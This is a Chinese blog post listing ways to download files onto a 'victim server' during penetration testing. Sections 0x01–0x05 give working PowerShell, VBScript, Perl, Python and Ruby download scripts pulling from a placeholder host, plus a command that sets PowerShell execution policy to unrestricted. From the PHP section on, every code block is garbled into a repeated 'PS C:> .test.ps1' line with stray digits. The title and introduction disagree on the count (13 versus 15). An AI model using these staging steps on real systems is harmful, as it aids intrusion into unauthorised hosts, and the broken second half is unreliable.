欢迎光临
我们一直在努力

13种方式下载文件

渗透测试过程中常常遇到需要将文件下载到受害者服务器上,这里介绍15种下载文件的方式,希望能帮助到你。

0x01 Powershell

创建如下PSH脚本:


$p = New-Object System.Net.WebClient  $p.DownloadFile("http://domain/file","C:%homepath%file")

执行:


PS C:> .test.ps1

如果Powershell禁止执行了,使用如下命令:


C:>powershell set-executionpolicy unrestricted

0x02 Visual Basic

创建如下VBS脚本。


Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm     .type = 1 '     .open     .write xHttp.responseBody     .savetofile " C:/%homepath%/file", 2 ' end with

执行:


C:>cscript test.vbs

0x03 Perl

脚本如下:


#!/usr/bin/perl  use LWP::Simple;  getstore("http://domain/file", "file");

执行:


root@kali:~# perl test.pl

0x04 Python

脚本如下:


#!/usr/bin/python  import urllib2  u = urllib2.urlopen('http://domain/file')  localFile = open('local_file', 'w')  localFile.write(u.read())  localFile.close()

执行:


root@kali:~# python test.py

0x05 Ruby

脚本如下:


#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

执行:


PS C:> .test.ps1

0

0x06 PHP

脚本如下:


PS C:> .test.ps1

1执行:


PS C:> .test.ps1

2

0x07 FTP

执行如下命令:


PS C:> .test.ps1

3

0x08 TFTP

执行如下命令:


PS C:> .test.ps1

4

0x09 Bitsadmin

执行如下命令:


PS C:> .test.ps1

5

0x10 Wget

执行如下命令:


PS C:> .test.ps1

6

0x11 Netcat

attacker执行如下命令:


PS C:> .test.ps1

7target执行:


PS C:> .test.ps1

8

0x12 Window 文件共享

使用如下命令:


PS C:> .test.ps1

9

0x13 记事本:

    1. 打开记事本
    1. 文件,打开
    1. 在文件名处填入下载地址

71b1c48487a04d27175615879e3c9cd8 13种方式下载文件

未经允许不得转载:杂术馆 » 13种方式下载文件
分享到: 更多 (0)